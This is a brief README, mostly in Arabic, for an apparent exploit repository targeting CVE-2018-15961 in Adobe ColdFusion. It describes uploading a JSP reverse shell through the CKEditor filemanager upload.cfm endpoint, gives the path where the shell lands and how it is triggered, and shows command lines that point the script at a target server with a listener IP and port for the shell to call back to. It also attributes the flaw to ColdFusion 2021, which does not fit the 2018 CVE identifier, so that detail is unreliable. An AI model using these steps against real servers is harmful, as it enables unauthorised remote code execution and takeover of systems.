
CVE-2018-15961 — ᴀᴅᴏʙᴇ ᴄᴏʟᴅғᴜsɪᴏɴ (ʀᴄᴇ)
يحتوي هذا المستودع على كود الاستغلال الخاص بي لثغرة RCE في Adobe ColdFusion 2021.
يُرسل الاستغلال طلب POST يحتوي على صدفة عكسية بلغة JSP إلى /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm. إذا نجح ذلك، يتم رفع الصدفة إلى /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp. ثم يُشغّل الكود الصدفة بإرسال طلب GET بسيط.
# Basic usage
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443
# With custom filename for the shell
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp